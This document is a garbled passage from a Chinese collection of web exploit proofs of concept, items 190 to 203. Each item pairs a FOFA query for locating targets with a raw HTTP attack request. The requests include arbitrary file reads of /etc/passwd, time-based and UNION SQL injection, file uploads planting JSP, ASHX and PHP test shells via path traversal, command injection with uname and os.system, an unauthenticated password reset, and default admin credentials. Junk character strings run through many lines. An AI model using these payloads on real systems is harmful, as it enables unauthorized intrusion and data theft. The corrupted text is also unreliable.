User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

5 N/ q; ^/ N4 Y3 E/ p
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
* w* C( |% K; Y1 T+ k* l! V" f% y# xFOFA：title=="短视频矩阵营销系统"
5 ^! g, R' N) x- H( U/ G4 YPOST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
; ^2 Q7 |( Y" YContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

9 k; }  ^6 E1 q4 ~0 Wpoi=file:///etc/passwd


191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
3 D- [2 a4 C4 k' A6 SFOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
1 Q% E6 P! [7 }Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

1 N0 ]5 @/ @6 r- y3 b0 `; wcommand=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=


2 G1 Y. K) e3 q192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
5 b) j- T( m9 t$ Q7 eFOFA：title="用户登录_富通天下外贸ERP"
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded
" X5 a$ Q8 g) G/ K6 q

<% @ webhandler language="C#" class="AverageHandler" %>
1 a8 x; d0 u# @using System;
' y# n6 p0 Y' r; x% Lusing System.Web;
* H3 Z) I( O5 U- upublic class AverageHandler : IHttpHandler
6 f' T& W& E( C- J' }; D9 W2 ]$ Y{
public bool IsReusable
{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
2 x! h$ n6 Z: _. \9 j{
# t4 H2 O( h5 A3 \6 Jctx.Response.Write("test");
& ]2 X; }/ F4 p  ^}
( Y$ V& _" u" [4 _3 L}

% ]. a' O- B5 G, R. r  b  A/ C2 Z
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
2 F1 u6 \7 U4 I- KGET /master/ajaxActions/getTokenAction.php HTTP/1.1
1 U2 ^' I( n" Q( K' Q8 sHost:
Cookie: PHPSESSID=2333333333333;
% l6 U; z5 {# Z4 J0 T7 qContent-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0


POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
4 P% u1 ^# a# F/ kHost:
User-Agent: Mozilla/5.0
$ h& K8 x3 Z# g4 b/ h" TAccept-Encoding: gzip, deflate
" U- L& n. c, j! F3 ?7 xAccept: */*
( x! E+ T# y5 K. T$ vConnection: close
; |' ?7 Z4 D, n: ^Cookie: PHPSESSID=2333333333333;
$ w/ Q2 _: [# w6 B# D: J  lContent-Type: application/x-www-form-urlencoded
2 j, B- E# @$ n; n$ k9 z1 pContent-Length: 84
/ d9 c4 p) }0 R, e+ r3 J: G6 H
( Q6 Y! V) B' J( d, qparam=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
* I( q9 j" A/ {, E+ B
6 J# t7 s$ W, D( ~2 j  B: @* U
GET /master/img/config HTTP/1.1
  u3 s, G7 c' Z4 d2 N7 cHost:
" X3 h$ J: ?7 t+ d7 @% HUser-Agent: Mozilla/5.0
. x1 {- g+ f2 Y7 X5 r% N5 w

194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

POST /servlet/uploadAttachmentServlet HTTP/1.1
3 c0 M& B5 M9 _4 j- JHost: host
. L" {- Q; h* i, N2 b0 c# RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
/ D5 p. C/ Z( \! i- |Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
1 A4 a6 ]- [* m1 ]6 ?- d
Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
( ]2 Q( [# Z# o: u1 b$ `Content-Type: text/plain
<% out.println("hello");%>
/ E( J- i5 ^0 `# L2 q0 I------WebKitFormBoundaryKNt0t4vBe8cX9rZk
; \# w) J# A  {0 ~Content-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
, U! i! e7 o, g: h+ s------WebKitFormBoundaryKNt0t4vBe8cX9rZk--

& A3 C" n- {+ m# [, N
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
POST /send_order.cgi?parameter=operation HTTP/1.1
: Y7 f  h) E' N5 T# d, C2 h9 EHost: 127.0.0.1
& M7 T0 d; Z. d# o5 m9 e- qPragma: no-cache
! l; I/ J8 C, c) e# FCache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 68

2 e8 l2 D" n" k4 Z' r{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}


196. 河南省风速科技统一认证平台密码重置
- K* O. `. G! s9 c! ?FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
9 @9 t  V. C6 T7 T$ ]: MContent-Type: application/json;charset=UTF-8
* \- q% p% D* R' k" t9 VX-Requested-With: XMLHttpRequest
Host:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
Connection: close
+ l+ }2 U' b$ l3 |. t) t
{"xgh":"test","newPass":"test666","email":""}


$ u( V$ @6 F- j3 F# G
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
5 N; @6 v2 }& {/ f/ @$ MGET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
" }0 ~( y: g7 f! \  l2 sHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Accept-Encoding: gzip, deflate
Connection: close
) W" [$ f# _% g% W8 u) ]
4 ^7 m% Y  y* d# f# `& \

198.  阿里云盘 WebDAV 命令注入
0 B6 q. t( T( p% J& i$ L  u) yCVE-2024-29640
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
0 x) r* X* P9 A0 X% S  i/ JCookie: sysauth=41273cb2cffef0bb5d0653592624cf64
5 w, Y' v) b- `7 h/ {$ nAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
. y0 `1 A9 h  ]0 }2 \Connection: close
& m$ X0 u: f# v3 Q2 `( r

199. cockpit系统assetsmanager_upload接口 文件上传
* N: ~; k7 @1 z4 @% Y8 p
1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
GET /auth/login?to=/ HTTP/1.1

' ^) S4 A4 ^# d4 h% Z响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"

2.使用刚才上一步获取到的jwt获取cookie：

POST /auth/check HTTP/1.1
Content-Type: application/json
% i  x  D% Q; v
* {& O  B9 @- i{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
) O7 \: T0 T) V
8 g9 I$ A% o5 q/ k1 O! W响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
8 p* M- Q' e/ u/ U' W- {7 o, ]& ]Fofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
Cookie: mysession=95524f01e238bf51bb60d77ede3bea92

-----------------------------36D28FBc36bd6feE7Fb3
1 p( e8 z! y5 B, @) h  D* Q# r! ]Content-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php

6 D, u9 {& q# @- H! C<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"

-----------------------------36D28FBc36bd6feE7Fb3--

+ A& }1 ^$ W' Q6 o- C# y/ o
3 B9 l+ z$ p$ @# v3 F2 g/storage/uploads/tttt.php
. ]( R7 v3 h0 M+ O8 \
" ?: K0 }9 e4 ]7 c: h, q- u200. SeaCMS海洋影视管理系统dmku SQL注入
, O4 a6 ?5 n  n$ pFOFA：app="海洋CMS"
) Y2 u9 u5 [& p1 H0 }& ^& e9 kGET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
8 k: @, k& D% B5 kCookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
* F! o" z0 X$ AAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
3 M) L: u3 U2 g) Y+ p1 ?Accept-Encoding: gzip, deflate
0 m/ m# J* m. Y) sAccept-Language: zh-CN,zh;q=0.9


2 q; Y/ ?3 Z' b1 F8 K# s0 k201. 方正全媒体新闻采编系统 binary SQL注入
0 T; a1 E+ @3 U* Z5 z9 R! E5 U) B- ]FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
POST /newsedit/newsplan/task/binary.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
/ w( D/ F; o( c* y3 QAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

  c5 l5 G- F( H1 p" y8 cTableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1

0 D0 Z1 D9 ^0 ]! H
1 j- I' U& ^% A" B6 k" k4 ^202. 微擎系统 AccountEdit任意文件上传
" U  J# j* t2 o; ]$ V' _FOFA：body="/Widgets/WidgetCollection/"
1 e! }' Z1 n/ {6 {获取__VIEWSTATE和__EVENTVALIDATION值
& j! o( \' l9 a2 VGET /User/AccountEdit.aspx HTTP/1.1
0 Z5 Q6 `* H: j; zHost: 滑板人之家
) v* s6 r. k. @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
& k% ~: i( G+ b; b* q  v6 XContent-Length: 0

% ~4 m( B' y6 f5 Y
替换__VIEWSTATE和__EVENTVALIDATION值
! b8 {( N: m  i6 M" BPOST /User/AccountEdit.aspx HTTP/1.1
9 q, z5 R/ f  @: JAccept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"

; ?- b# ~+ Y% a; ~; @% C' G__VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
% q  V  D  _, |: O: F8 Z" @Content-Disposition: form-data; name="__EVENTVALIDATION"

5 B  C" K2 v5 v__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
/ N, h2 ?1 R- H+ f/ LContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain

! e3 \' \% f# W) Q' c8 tHello World!
-----------------------------786435874t38587593865736587346567358735687
: Z+ @6 L5 |* O$ [Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

, e$ \  f7 w# O) y上传图片
# }0 e1 ?: O6 Y2 o6 x$ h# r! L6 ?7 b-----------------------------786435874t38587593865736587346567358735687
' K8 l. b* r4 [/ r/ vContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
4 Z. s: T) w* t# d2 o

+ N1 G2 ]1 x  M! n2 g-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
( U4 R! m# Q1 w9 B* D  l

, z% T$ f0 R7 U3 o-----------------------------786435874t38587593865736587346567358735687--

/ }! z6 ~$ J) I/ c7 H
/_data/Uploads/1123.txt
" [5 B, t; S5 b9 c8 r7 M- ?5 c
% L( D0 X" q/ k, G1 _- P" f203. 红海云EHR PtFjk 文件上传
: p; |) B" A4 a* D- dFOFA：body="RedseaPlatform"
% s- U4 g6 ?. D. S0 sPOST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
/ i2 e* U3 `. e0 EHost: x.x.x.x
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
# ?9 e, j1 C* y1 E! M( h, PContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Length: 210

------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
Content-Type:image/jpeg

+ w4 W9 M. P: E) Q2 ~8 M$ ]5 Q<% out.print("hello,eHR");%>
7 o+ Z3 @1 M* [  o, C, {3 t------WebKitFormBoundaryt7WbDl1tXogoZys4--
+ k! T5 l" {1 n) ~+ _

$ i8 |; a. o9 c* }
! U5 \7 _, f7 s, `4 Y